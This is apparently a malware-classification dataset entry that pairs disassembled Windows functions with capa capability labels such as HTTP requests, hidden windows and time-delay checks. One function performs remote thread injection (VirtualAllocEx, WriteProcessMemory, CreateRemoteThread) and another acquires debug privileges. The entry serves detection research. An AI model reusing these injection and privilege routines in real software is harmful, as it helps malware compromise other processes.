joyce8/EMBER2024-capa huggingface dataset:
Function at 0x543790
Capabilities:
Create http request
Print debug messages

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x214], ebx
mov dword [ebp - 4], ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x5438d9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 4
lea edx, [ebp - 0x214]
mov eax, dword [0x56cda8]
mov eax, dword [eax]
call fcn.0047da78
mov eax, dword [ebp - 0x214]
call fcn.00404dc4
push eax
call sub.wininet.dll_InternetOpenA
mov esi, eax
push 0
push 0x200
push 0
push 0
mov eax, ebx
call fcn.00404dc4
push eax
push esi
call sub.wininet.dll_InternetOpenUrlA
mov ebx, eax
test ebx, ebx
jne 0x543869
cmp word [edi + 0x32], 0
je 0x54383e
call sub.kernel32.dll_GetLastError_1
lea edx, [ebp - 0x218]
call fcn.0040c7c4
mov eax, dword [ebp - 0x218]
push eax
call sub.kernel32.dll_GetLastError_1
mov ecx, eax
mov edx, edi
mov eax, dword [edi + 0x34]
call dword [edi + 0x30]
call sub.kernel32.dll_GetLastError_1
lea edx, [ebp - 0x21c]
call fcn.0040c7c4
mov eax, dword [ebp - 0x21c]
call fcn.00404dc4
push eax
call sub.kernel32.dll_OutputDebugStringA
mov eax, dword [ebp + 8]
call fcn.00404904
jmp 0x5438b5
xor eax, eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0x201
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x20d]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.wininet.dll_HttpQueryInfoA
test eax, eax
je 0x5438a7
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x20d]
mov ecx, 0x201
call fcn.00404b74
jmp 0x5438af
mov eax, dword [ebp + 8]
call fcn.00404904
push ebx
call sub.wininet.dll_InternetCloseHandle
push esi
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5438e0
lea eax, [ebp - 0x21c]
mov edx, 3
call fcn.00404928
ret
Function at 0x5495a8
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov byte [ebp - 1], 0
mov ebx, 0x14
mov dword [ebp - 0x1c], 0x14
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x34], 2
mov eax, edi
call fcn.00404dc4
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 3
mov eax, 0x549694
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 1
mov eax, esi
call fcn.00404dc4
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x54968a
xor eax, eax
push ebp
push 0x549683
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0x4b
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x549663
push 0
push 0
push 0x25
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
test eax, eax
jne 0x549667
xor eax, eax
jmp 0x549669
mov al, 1
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x54968a
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x54d538
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x54d5ca
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
cmp byte [esi + 0x9c], 1
jne 0x54d5b4
push 1
push 0
push 0
mov eax, edi
call fcn.00404dc4
push eax
push 0x54d5dc
mov eax, dword [0x56cda8]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.shell32.dll_ShellExecuteA
mov edi, eax
cmp edi, 0x20
setg bl
test bl, bl
jne 0x54d5b4
cmp word [esi + 0x112], 0
je 0x54d5b4
lea edx, [ebp - 4]
mov eax, dword [0x56c884]
call fcn.00406990
mov ecx, dword [ebp - 4]
mov edx, edi
mov eax, dword [esi + 0x114]
call dword [esi + 0x110]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x54d5d1
lea eax, [ebp - 4]
call fcn.00404904
ret
Function at 0x54dabc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x54dc5f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push 0xbf
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
mov ebx, eax
mov eax, ebx
sub eax, 0xffffffff
je 0x54db26
sub eax, 2
je 0x54dbe8
sub eax, 0x101
je 0x54db5e
jmp 0x54dc3d
cmp word [esi + 0x112], 0
je 0x54dc3d
call sub.kernel32.dll_GetLastError_1
lea edx, [ebp - 0x2c]
call fcn.0040c7c4
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetLastError_1
mov edx, eax
pop ecx
mov eax, dword [esi + 0x114]
call dword [esi + 0x110]
jmp 0x54dc3d
cmp word [esi + 0x112], 0
je 0x54dc3d
call sub.kernel32.dll_GetLastError_1
lea edx, [ebp - 0x30]
call fcn.0040c7c4
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_GetLastError_1
mov edx, eax
pop ecx
mov eax, dword [esi + 0x114]
call dword [esi + 0x110]
jmp 0x54dc3d
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_DispatchMessageA
call sub.kernel32.dll_GetTickCount
mov edx, dword [ebp - 8]
sub eax, dword [edx]
mov edx, dword [ebp + 8]
cmp eax, dword [edx]
jle 0x54dbe8
cmp word [esi + 0x112], 0
je 0x54dbe8
lea edx, [ebp - 0x34]
mov eax, dword [0x56ce68]
call fcn.00406990
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_GetLastError_1
mov edx, eax
pop ecx
mov eax, dword [esi + 0x114]
call dword [esi + 0x110]
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PeekMessageA
test eax, eax
jne 0x54db96
call sub.kernel32.dll_GetTickCount
mov edx, dword [ebp - 8]
sub eax, dword [edx]
mov edx, dword [ebp + 8]
cmp eax, dword [edx]
jle 0x54dc3d
cmp word [esi + 0x112], 0
je 0x54dc3d
lea edx, [ebp - 0x38]
mov eax, dword [0x56ce68]
call fcn.00406990
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_GetLastError_1
mov edx, eax
pop ecx
mov eax, dword [esi + 0x114]
call dword [esi + 0x110]
test ebx, ebx
sete al
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x54dc66
lea eax, [ebp - 0x38]
mov edx, 4
call fcn.00404928
ret
Function at 0x5514e4
Capabilities:
Hide graphical window

Disassembly:
push ebx
add esp, 0xfffffff0
mov ebx, eax
mov eax, ebx
call fcn.00550f84
test byte [ebx + 0x23d], 4
jne 0x551579
mov edx, esp
mov eax, ebx
call fcn.0045d7ac
push esp
mov eax, ebx
call fcn.0046453c
push eax
push 0
mov eax, ebx
test eax, eax
je 0x551519
sub eax, 0xfffffd9c
push eax
push 0
push 0xfffffffffffffffb
mov eax, dword [ebx + 0x218]
push eax
mov eax, dword [eax]
call dword [eax + 0x2c]
cmp dword [ebx + 0x22c], 0
jne 0x55154a
mov ecx, dword [0x56cba4]
mov dl, 1
mov eax, dword [0x4a5cf8]
call fcn.0040d094
call fcn.004042bc
mov eax, ebx
call fcn.00551ab8
cmp byte [ebx + 0x57], 0
jne 0x551580
mov eax, ebx
call fcn.00464740
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x551580
push 0
mov eax, ebx
call fcn.00464740
push eax
call sub.user32.dll_ShowWindow
jmp 0x551580
mov eax, ebx
call fcn.004616c0
add esp, 0x10
pop ebx
ret

Function at 0x55a164
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
push 0x40
push 0x1000
push pe_nt_image_headers32
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x55a1ee
xor edx, edx
push ebp
push 0x55a1cf
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
mov dword [eax], 0x448b5050
mov dword [eax + 4], 0x44890824
mov dword [eax + 8], 0x58b0424
lea edx, [ebx + 4]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], 0x8244489
mov dword [eax + 0x14], 0x25ff9058
mov dword [eax + 0x18], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x55a1ee
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x55b55c
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404db4
mov eax, dword [ebp - 8]
call fcn.00404db4
xor eax, eax
push ebp
push 0x55b679
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov ebx, 0x14
mov dword [ebp - 0x24], 0x14
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x3c], 2
mov eax, dword [ebp - 8]
call fcn.00404dc4
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], 3
mov eax, 0x55b688
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.00404dc4
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x55b65e
xor eax, eax
push ebp
push 0x55b657
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x24]
push eax
push 0x4b
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetSetOptionA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x55b637
push 0
push 0
push 0x25
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetSetOptionA
test eax, eax
jne 0x55b63b
xor eax, eax
jmp 0x55b63d
mov al, 1
mov byte [ebp - 9], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55b65e
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55b680
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404928
ret
Function at 0x55b690
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404db4
mov eax, dword [ebp - 8]
call fcn.00404db4
mov eax, dword [ebp - 0xc]
call fcn.00404db4
mov eax, dword [ebp + 0xc]
call fcn.00404db4
xor eax, eax
push ebp
push 0x55b7ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov ebx, 0x14
mov dword [ebp - 0x28], 0x14
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x40], 2
mov eax, dword [ebp - 8]
call fcn.00404dc4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], 3
mov eax, 0x55b810
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.00404dc4
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x55b7dc
xor edx, edx
push ebp
push 0x55b7d5
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 3
mov eax, dword [ebp + 0xc]
call fcn.00404dc4
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404dc4
push eax
mov ax, word [ebp + 8]
push eax
mov eax, dword [ebp - 8]
call fcn.00404dc4
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetConnectA
test eax, eax
je 0x55b7be
push ebx
lea eax, [ebp - 0x28]
push eax
push 0x4b
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x55b7b5
push 0
push 0
push 0x25
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionA
test eax, eax
jne 0x55b7b9
xor eax, eax
jmp 0x55b7bb
mov al, 1
mov byte [ebp - 0xd], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55b7dc
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55b806
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404928
lea eax, [ebp + 0xc]
call fcn.00404904
ret
Function at 0x55b818
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
mov byte [ebp - 1], 0
mov ebx, 0x14
mov dword [ebp - 0x1c], 0x14
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x34], 2
mov eax, 0x55b8e0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 3
mov eax, 0x55b8e4
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 1
push 0x55b8e0
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x55b8d7
xor eax, eax
push ebp
push 0x55b8d0
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0x4b
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55b8d7
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
mov al, byte [ebp - 1]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x55bb50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x55bd64
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 0x105
mov eax, dword [ebp - 0x18]
call fcn.00402808
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x55bbce
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
test eax, eax
je 0x55bbb8
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.00404afc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55bbd5
mov eax, dword [ebp - 8]
call fcn.00402828
ret

Function at 0x55d108
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov bl, 2
lea eax, [ebp - 0xa]
xor ecx, ecx
mov edx, 0xa
call fcn.004033b0
push 0xa
lea eax, [ebp - 0xa]
push eax
push 0xd
push 0x400
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
je 0x55d142
cmp byte [ebp - 0xa], 0x31
jne 0x55d140
mov bl, 1
jmp 0x55d142
xor ebx, ebx
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x55e82c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.00464a44
test al, al
je 0x55e8ea
mov byte [ebp - 9], 0
xor ebx, ebx
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 8], eax
jmp 0x55e8c8
cmp word [esi + 0x5f2], 0
je 0x55e87d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 9]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [esi + 0x5f4]
call dword [esi + 0x5f0]
mov al, byte [esi + 0x5e8]
or al, byte [ebp - 9]
jne 0x55e89f
cmp dword [ebp - 4], 0
jbe 0x55e89b
call sub.kernel32.dll_GetTickCount
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
ja 0x55e89f
xor ebx, ebx
jmp 0x55e8a1
mov bl, 1
test bl, bl
jne 0x55e8ea
mov eax, dword [0x56cda8]
mov eax, dword [eax]
cmp byte [eax + 0x9c], 0
jne 0x55e8ea
mov eax, dword [0x56cda8]
mov eax, dword [eax]
call fcn.0047ddb8
push 1
call sub.kernel32.dll_Sleep_1
test esi, esi
je 0x55e8ea
cmp byte [esi + 0x588], 0
jne 0x55e8ea
mov edx, 0xfffffdf3
mov eax, esi
call fcn.005518f0
cmp eax, 4
jne 0x55e85a
mov byte [esi + 0x5e8], 0
test bl, bl
sete al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x561810
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe0
xor ebx, ebx
push esp
push 0x561884
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x56187c
lea eax, [esp + 8]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x56187c
mov dword [esp + 0x10], 1
mov dword [esp + 0x1c], 2
mov eax, dword [esp]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
push eax
push 0
push 0x10
lea eax, [esp + 0x1c]
push eax
push 0
mov eax, dword [esp + 0x1c]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, ebx
add esp, 0x20
pop ebx
ret
Function at 0x561908
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], ecx
mov dword [esp], edx
xor ebx, ebx
cmp eax, 0xffffffff
je 0x5619c9
push eax
push 0
push 0x43a
call sub.kernel32.dll_OpenProcess
mov esi, eax
cmp esi, 0xffffffff
je 0x5619c9
push 0x5619d4
push 0x5619e4
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edi, eax
test edi, edi
je 0x5619c3
push 0x40
push 0x3000
mov eax, dword [esp + 0xc]
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
test ebp, ebp
je 0x5619c3
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push eax
push ebp
push esi
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x5619c3
lea eax, [esp + 8]
push eax
push 0
push ebp
push edi
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp edi, 0xffffffff
je 0x5619c3
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
push 0x8000
mov eax, dword [esp + 8]
push eax
push ebp
push esi
call sub.kernel32.dll_VirtualFreeEx
push edi
call sub.kernel32.dll_CloseHandle_1
mov bl, 1
push esi
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x561b88
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x561c0a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x109]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
test eax, eax
jbe 0x561be8
lea eax, [ebp - 4]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.00404b74
lea eax, [ebp - 4]
mov edx, 2
call fcn.00404f50
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00404958
jmp 0x561bf4
mov eax, ebx
mov edx, 0x561c20
call fcn.00404958
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x561c11
lea eax, [ebp - 4]
call fcn.00404904
ret

Function at 0x561c24
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov edx, ebx
mov eax, esp
call fcn.0040a04c
add esp, 0x108
pop ebx
ret
Function at 0x100168c
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x100300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
xor ebx, ebx
inc ebx
test eax, eax
js 0x10016dc
cmp al, 6
jb 0x10016dc
push 0x10011a0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor edi, edi
cmp eax, edi
je 0x10016dc
push 0x10011bc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x10016dc
push edi
push edi
push ebx
push edi
call eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
push esi
call fcn.010015fb
mov esi, eax
test esi, esi
js 0x10017df
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov esi, eax
test esi, esi
js 0x10017df
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x28]
push eax
cmp edi, 6
je 0x10017a1
push 0x10011d0
push ebx
push 0
push 0x1001200
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
js 0x10017d9
cmp edi, 9
ja case.0x1001742.6
jmp dword [edi*4 + 0x10017f8]
push 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
jmp 0x10017ce
push ebx
jmp 0x100174b
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x10]
jmp 0x10017ce
push ebx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
jmp 0x10017ce
push 0
jmp 0x1001765
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x18]
jmp 0x10017ce
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
jmp 0x10017ce
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
jmp 0x10017ce
xor esi, esi
jmp 0x10017d0
mov esi, 0x80004001
jmp 0x10017d0
push 0x10011e0
push ebx
push 0
push 0x10011f0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
js 0x10017d9
push dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 0x24]
push edx
push eax
call dword [ecx + 0xc]
mov esi, eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor eax, eax
test esi, esi
pop edi
sets al
pop esi
xor ecx, ebp
pop ebx
call fcn.01001b3c
leave
ret 0x10
Function at 0x1001b2d
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x1002410
call fcn.01001cd4
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x20], ebx
mov edi, 0x1003374
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x10018e9
cmp eax, esi
jne 0x10018dc
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x10018ec
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10018c3
xor esi, esi
inc esi
mov eax, dword [0x1003370]
cmp eax, esi
jne 0x10018ff
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x100192e
mov eax, dword [0x1003370]
test eax, eax
jne 0x1001928
mov dword [0x1003370], esi
push 0x10010c4
push 0x10010b8
call fcn.01001825
pop ecx
pop ecx
test eax, eax
je 0x100192e
jmp 0x1001a51
mov dword [0x1003034], esi
mov eax, dword [0x1003370]
cmp eax, esi
jne 0x1001952
push 0x10010b4
push 0x10010ac
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1003370], 2
cmp dword [ebp - 0x20], ebx
jne 0x100195f
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1003378], ebx
je 0x1001980
push 0x1003378
call fcn.01001c49
pop ecx
test eax, eax
je 0x1001980
push ebx
push 2
push ebx
call dword [0x1003378]
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
cmp dword [eax], ebx
je 0x1001a51
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
movzx ecx, word [eax]
cmp ecx, 0x20
ja 0x10019e9
cmp cx, bx
je 0x10019a4
cmp dword [ebp - 0x1c], ebx
jne 0x10019e9
movzx ecx, word [eax]
cmp cx, bx
je 0x10019b9
cmp ecx, 0x20
ja 0x10019b9
add eax, 2
mov dword [ebp - 0x24], eax
jmp 0x10019a4
test byte [ebp - 0x40], 1
je 0x10019c5
movzx ecx, word [ebp - 0x3c]
jmp 0x10019c8
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x1000000
call main
mov dword [0x1003030], eax
cmp dword [0x1003024], ebx
jne 0x1001a2e
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp ecx, 0x22
jne 0x10019f9
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
add eax, 2
jmp 0x100198f
cmp dword [0x1003034], ebx
jne 0x1001a3c
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1003030]
jmp 0x1001a5d
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.01001d19
ret
call fcn.01001e1c
jmp 0x1001886